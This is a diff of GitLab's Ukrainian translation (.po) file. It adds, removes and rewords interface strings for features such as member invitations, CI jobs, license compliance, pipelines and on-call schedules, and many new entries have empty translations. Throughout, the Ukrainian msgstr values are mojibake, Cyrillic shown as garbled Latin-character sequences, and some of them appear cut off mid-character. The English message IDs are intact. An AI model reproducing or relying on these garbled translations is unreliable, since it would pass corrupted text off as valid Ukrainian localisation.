-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -15033,9 +15404,6 @@ msgstr ""
msgid "Issue Boards"
msgstr "Дошки Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr "Задачу вже переведено до епіку."
@@ -15099,6 +15467,9 @@ msgstr "СтатуÑ"
msgid "IssueAnalytics|Weight"
msgstr "Вага"
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "Дошка"
@@ -15234,10 +15605,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15414,6 +15785,27 @@ msgstr "Ð—Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð±ÑƒÐ»Ð¾ перезапущене"
msgid "Jobs"
msgstr "ЗавданнÑ"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "ПереглÑнути"
@@ -15543,6 +15935,9 @@ msgstr "Ключі"
msgid "Ki"
msgstr "Ki"
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15727,9 +16122,6 @@ msgstr ""
msgid "Last name"
msgstr "Прізвище"
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr "ОÑÑ‚Ð°Ð½Ð½Ñ Ð²Ñ–Ð´Ð¿Ð¾Ð²Ñ–Ð´ÑŒ від"
@@ -15823,6 +16215,9 @@ msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про Kubernetes"
msgid "Learn more about License-Check"
msgstr "ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про License-Check"
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr "ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про Vulnerability-Check"
@@ -15850,9 +16245,6 @@ msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð² клÐ
msgid "Learn more about group-level project templates"
msgstr "Докладніше про шаблони проєктів на рівні групи"
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr "Докладніше про підпиÑÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñ–Ð²"
@@ -15883,9 +16275,6 @@ msgstr "Залишити групу"
msgid "Leave project"
msgstr "Залишити проєкт"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr "Залиште параметри \"Тип файлу\" та \"Метод доÑтавки\" із значеннÑми по замовчуванню."
-
msgid "Leave zen mode"
msgstr ""
@@ -15949,9 +16338,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr "ЛіцензіÑ"
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -16003,18 +16389,9 @@ msgstr "ВідповідніÑÑ‚ÑŒ ЛіцензіÑм не виÑвила ліц
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr "ВідповідніÑÑ‚ÑŒ ЛіцензіÑм не виÑвила нових ліцензій"
-msgid "LicenseCompliance|License details"
-msgstr "Деталі ліцензії"
-
msgid "LicenseCompliance|License name"
msgstr "Ðазва ліцензії"
-msgid "LicenseCompliance|License review"
-msgstr "ОглÑд ліцензії"
-
-msgid "LicenseCompliance|Packages"
-msgstr "Пакети"
-
msgid "LicenseCompliance|Remove license"
msgstr "Видалити ліцензію"
@@ -16030,9 +16407,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr "Така Ð»Ñ–Ñ†ÐµÐ½Ð·Ñ–Ñ Ð²Ð¶Ðµ Ñ–Ñнує в цьому проєкті."
-msgid "LicenseCompliance|URL"
-msgstr "URL-адреÑа"
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ ліцензію %{name} із цього проєкту."
@@ -16138,6 +16512,9 @@ msgstr "Обмежити Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð¾Ð´Ð¸Ð½Ð¸Ñ†ÑŒ відÑтежÐ
msgid "Limit namespaces and projects that can be indexed"
msgstr "Обмежити проÑтори імен та проєкти Ñкі можуть бути проіндекÑовані"
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] "Показ обмежено тільки %d подією"
@@ -16160,6 +16537,9 @@ msgstr "Заголовок поÑиланнÑ"
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16364,9 +16744,6 @@ msgstr "Зробити задачу конфіденційною"
msgid "Make sure you save it - you won't be able to access it again."
msgstr "ПереконайтеÑÑ, що ви його зберегли, бо ви не зможете отримати доÑтуп до нього знову."
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr "ПереконайтеÑÑ, що ви ввійшли за допомогою облікового запиÑу, Ñкому належать проєкти, що потрібно імпортувати."
-
msgid "Make this epic confidential"
msgstr ""
@@ -16427,18 +16804,12 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr "Ðе вдалоÑÑ Ð·Ð±ÐµÑ€ÐµÐ³Ñ‚Ð¸ порÑдок задач"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
+msgstr ""
+
msgid "Map a FogBugz account ID to a GitLab user"
msgstr "Зв’Ñзати обліковий Ð·Ð°Ð¿Ð¸Ñ FogBugz з кориÑтувачем GitLab"
-msgid "Map a Google Code user to a GitLab user"
-msgstr "Зв’Ñзати кориÑтувача Google Code з кориÑтувачем GitLab"
-
-msgid "Map a Google Code user to a full email address"
-msgstr "Зв’Ñзати кориÑтувача Google Code із адреÑою електронної пошти"
-
-msgid "Map a Google Code user to a full name"
-msgstr "Зв’Ñзати кориÑтувача Google Code із повним іменем"
-
msgid "Mar"
msgstr "бер."
@@ -16499,8 +16870,8 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
-msgstr "Позначено цей %{noun} Ñк WIP (в процеÑÑ–)."
+msgid "Marked this %{noun} as a draft."
+msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
msgstr "Цю задачу позначено дублікатом %{duplicate_param}."
@@ -16511,8 +16882,8 @@ msgstr "Цю задачу позначено пов’Ñзаною з %{issue_re
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
-msgstr "Позначає цей %{noun} Ñк WIP (в процеÑÑ–)."
+msgid "Marks this %{noun} as a draft."
+msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
msgstr "Позначає задачу Ñк дублікат %{duplicate_reference}."
@@ -16559,6 +16930,9 @@ msgstr "Пропозиції:"
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr "Цей ÑÐµÑ€Ð²Ñ–Ñ Ð´Ð¾Ð·Ð²Ð¾Ð»ÑÑ” кориÑтувачам виконувати загальні операції в цьому проєкті шлÑхом вводу команд із коÑою риÑкою (/) в Mattermost."
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16583,9 +16957,6 @@ msgstr "МакÑимальний рівень доÑтупу"
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16742,7 +17113,10 @@ msgstr "УчаÑники із доÑтупом до %{strong_start}%{group_name}
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16778,9 +17152,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16790,12 +17173,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16814,6 +17206,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16865,6 +17260,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð´Ð»Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñƒ-злиттÑ"
@@ -16916,6 +17314,9 @@ msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ â€” це ÑпоÑіб запропонувÐ
msgid "Merge requests are read-only in a secondary Geo node"
msgstr "Запити на об'Ñ”Ð´Ð½Ð°Ð½Ð½Ñ Ð´Ð¾Ñтупні лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ Ð½Ð° вторинному вузлі Geo"
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr "Злити, коли конвеєр уÑпішно завершитьÑÑ"
@@ -17476,6 +17877,9 @@ msgstr "У ÑпиÑках етапу відображаютьÑÑ Ð²ÑÑ– задÐ
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17581,6 +17985,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Етап %{milestoneTitle} не знайдено"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17614,12 +18021,6 @@ msgstr "Мінімальна доÑтупна пропуÑкна здатніÑÑ
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr "Мінімально довжина Ñкладає %{minimum_password_length} Ñимволів"
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr "Мінімально довжина Ñкладає %{minimum_password_length} Ñимволів."
-
msgid "Minimum password length (number of characters)"
msgstr "Мінімальна довжина Ð¿Ð°Ñ€Ð¾Ð»Ñ (кількіÑÑ‚ÑŒ Ñимволів)"
@@ -17677,8 +18078,8 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "Більше не показувати"
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "Ви не зможете відправлÑти або отримувати код проєкту за допомогою SSH, поки не додаÑте SSH ключ до вашого профілю"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
+msgstr ""
msgid "ModalButton|Add projects"
msgstr "Додати проєкти"
@@ -17773,6 +18174,9 @@ msgstr "ПереміÑтити Ð²Ð¸Ð´Ñ–Ð»ÐµÐ½Ð½Ñ Ð²Ð½Ð¸Ð·"
msgid "Move selection up"
msgstr "ПереміÑтити Ð²Ð¸Ð´Ñ–Ð»ÐµÐ½Ð½Ñ Ð²Ð³Ð¾Ñ€Ñƒ"
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr "ПереміÑтити цю задачу до іншого проєкту."
@@ -17904,6 +18308,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17937,6 +18344,9 @@ msgstr "Вийти Ñ– зайти під іншим обліковим запиÑ
msgid "Need help?"
msgstr "Потрібна допомога?"
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr "Потребує уваги"
@@ -18162,7 +18572,7 @@ msgstr "Ðіколи"
msgid "New"
msgstr "Ðовий"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18316,6 +18726,9 @@ msgstr "Ðова вимога"
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr "Згенеровано новий реєÑтраційний токен runner-ів!"
@@ -18421,9 +18834,6 @@ msgstr "Ðеможливо з'єднатиÑÑŒ із Ñервером Gitaly, бÑ
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr "Ðемає внеÑків"
@@ -18607,9 +19017,6 @@ msgstr "Ðе знайдено жодного вебхука, додайте йо
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr "Ðе хвилюйтеÑÑ, на даний момент ви можете викориÑтовувати вÑÑ– функції %{strong}%{plan_name}%{strong_close}. Ви маєте %{remaining_days} щоб продовжити підпиÑку."
-msgid "No, directly import the existing email addresses and usernames."
-msgstr "ÐÑ–, безпоÑередньо імпортувати Ñ–Ñнуючі адреÑи електронної пошти та імена кориÑтувачів."
-
msgid "No. of commits"
msgstr ""
@@ -18646,6 +19053,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr "Ще не вÑÑ– дані оброблені, тому точніÑÑ‚ÑŒ графіку Ð´Ð»Ñ Ð²Ð¸Ð±Ñ€Ð°Ð½Ð¾Ð³Ð¾ чаÑового проміжку обмежена."
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "ÐедоÑтупний"
@@ -18664,6 +19074,9 @@ msgstr "ÐедоÑтатньо даних"
msgid "Not found."
msgstr "Ðе знайдено."
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr "Ще не готово. Спробуйте знову пізніше."
@@ -18676,6 +19089,9 @@ msgstr "Примітка"
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr "Зауважте, що це Ð·Ð°Ð¿Ñ€Ð¾ÑˆÐµÐ½Ð½Ñ Ð±ÑƒÐ»Ð¾ надіÑлано на %{mail_to_invite_email}, але ви увійшли Ñк %{link_to_current_user} з електронною поштою %{mail_to_current_user}."
@@ -18715,6 +19131,9 @@ msgstr "Показати лише Ñ–Ñторію"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr "Цей коментар було змінено піÑÐ»Ñ Ñ‚Ð¾Ð³Ð¾, Ñк ви його почали редагувати. Будь лаÑка, переглÑньте %{open_link}оновлений коментар%{close_link}, щоб переконатиÑÑ Ð² тому, що інформацію не було втрачено"
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr "Ðічого не знайдено…"
@@ -18751,9 +19170,15 @@ msgstr "Ðевдача в конвеєрі"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð¾"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "Ðовий епік"
@@ -18769,6 +19194,9 @@ msgstr "Ðова нотатка"
msgid "NotificationEvent|New release"
msgstr "Ðовий реліз"
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Перепризначити задачу"
@@ -18778,6 +19206,9 @@ msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¿ÐµÑ€ÐµÐ¿Ñ€Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¾"
msgid "NotificationEvent|Reopen issue"
msgstr "Повторне Ð²Ñ–Ð´ÐºÑ€Ð¸Ñ‚Ñ‚Ñ Ð·Ð°Ð´Ð°Ñ‡Ñ–"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "УÑпішно в Конвеєрі"
@@ -18904,6 +19335,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18919,9 +19377,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18946,9 +19401,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18961,6 +19413,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18970,8 +19428,8 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr "ПіÑÐ»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ, репозиторії можуть бути віддзеркалені через SSH. ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ %{link_start}тут%{link_end}."
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
-msgstr "ПіÑÐ»Ñ Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð·Ð²â€™Ñзок форку не може бути відновлений Ñ– ви більше не зможете відправлÑти запити на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñƒ вихідний проєкт."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
+msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
msgstr "ПіÑÐ»Ñ Ñ‚Ð¾Ð³Ð¾, Ñк екÑпортований файл буде готовий, ви отримаєте ÑÐ¿Ð¾Ð²Ñ–Ñ‰ÐµÐ½Ð½Ñ ÐµÐ»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð¾ÑŽ поштою із поÑиланнÑм Ð´Ð»Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð°Ð±Ð¾ можете завантажити його з цієї Ñторінки."
@@ -18995,9 +19453,6 @@ msgstr "Один або декілька ваших токенів оÑобиÑÑ
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr "Один або декілька ваших проєктів Google Code не можна імпортувати безпоÑередньо в GitLab, оÑкільки вони викориÑтовують Subversion або Mercurial Ð´Ð»Ñ ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»ÑŽ верÑій заміÑÑ‚ÑŒ Git."
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr "Один або кілька з ваших файлів залежноÑтей не підтримуютьÑÑ, тому ÑпиÑок залежноÑтей може бути неповним. Ðижче наведено ÑпиÑок підтримуваних типів файлі."
@@ -19079,6 +19534,9 @@ msgstr "Відкриті задачі"
msgid "Open raw"
msgstr "Відкрити в неформатованому виглÑді"
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr "Розгорніть бічну панель"
@@ -19145,9 +19603,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr "За необхідноÑÑ‚Ñ– ви можете %{link_to_customize} Ñк адреÑи електронної почти та імена кориÑтувачів FobBugz будуть імпортовані у GitLab."
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr "За необхідноÑÑ‚Ñ– ви можете %{link_to_customize} Ñк адреÑи електронної почти та імена кориÑтувачів Google Code будуть імпортовані у GitLab."
-
msgid "Options"
msgstr "Параметри"
@@ -19193,6 +19648,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19221,7 +19679,7 @@ msgid "Package Registry"
msgstr "РеєÑÑ‚Ñ€ пакетів"
msgid "Package already exists"
-msgstr ""
+msgstr "Пакет вже Ñ–Ñнує"
msgid "Package deleted successfully"
msgstr "Пакет уÑпішно видалено"
@@ -19349,6 +19807,9 @@ msgstr "Щоб дізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про реєÑÑ‚Ñ€ NuGet, %{link
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr "Щоб дізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про реєÑÑ‚Ñ€ PyPi, %{linkStart}переглÑньте документацію%{linkEnd}."
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Якщо ви ще не зробили цього, вам потрібно буде додати розміщене нижче в Ñвій файл %{codeStart}.pypirc%{codeEnd}."
@@ -19463,6 +19924,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr "Conan"
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr "Maven"
@@ -19487,9 +19951,6 @@ msgstr "Сторінку не знайдено"
msgid "Page settings"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ñторінки"
-msgid "Page was successfully deleted"
-msgstr "Сторінку було уÑпішно видалено"
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19754,6 +20215,9 @@ msgstr "Розклади Конвеєрів"
msgid "Pipeline minutes quota"
msgstr "Квота хвилин Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð²"
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr "ПідпиÑки на конвеєр"
@@ -19862,9 +20326,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr "Перевірка конфігурації (CI Lint)"
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr "Дочірній конвеєр"
@@ -19910,6 +20371,9 @@ msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð²"
msgid "Pipelines|More Information"
msgstr "Більше інформації"
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19922,6 +20386,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr "Кеш проєкту уÑпішно очищено."
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr "Відкликати"
@@ -19931,6 +20398,12 @@ msgstr "ЗапуÑтити Конвеєр"
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr "Помилка при очищенні кеша runner'ів."
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr "Ð’ даний Ñ‡Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” завершених конвеєрів."
@@ -20156,6 +20629,9 @@ msgstr "Будь лаÑка задайте URL групи без ÑпеціалÑ
msgid "Please complete your profile with email address"
msgstr "Будь лаÑка, доповніть Ñвій профіль адреÑою електронної пошти"
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20165,9 +20641,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr "Будь лаÑка Ñконвертуйте Ñ—Ñ… в Git на Google Code, Ñ– виконайте знову %{link_to_import_flow}."
-
msgid "Please create a password for your new account."
msgstr "Будь лаÑка, Ñтворіть пароль Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ нового облікового запиÑу."
@@ -20330,18 +20803,12 @@ msgstr "Вибрати вміÑÑ‚ оглÑдової Ñторінки проєк
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "Ðалаштувати зовнішній виглÑд заголовку заÑтоÑунку та навігаційної бічної панелі."
msgid "Preferences|Display time in 24-hour format"
msgstr "Ð’Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‡Ð°Ñу у 24-годинному форматі"
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr "Увімкнути вбудований аналізатор коду у вікнах з кодом"
-
msgid "Preferences|For example: 30 mins ago."
msgstr "Ðаприклад: 30 хвилин тому."
@@ -20351,9 +20818,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr "Інтеграції"
-
msgid "Preferences|Layout width"
msgstr "Ширина макета"
@@ -20375,9 +20839,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr "Показувати зміни пробілів у відмінноÑÑ‚ÑÑ…"
-msgid "Preferences|Sourcegraph"
-msgstr "Sourcegraph"
-
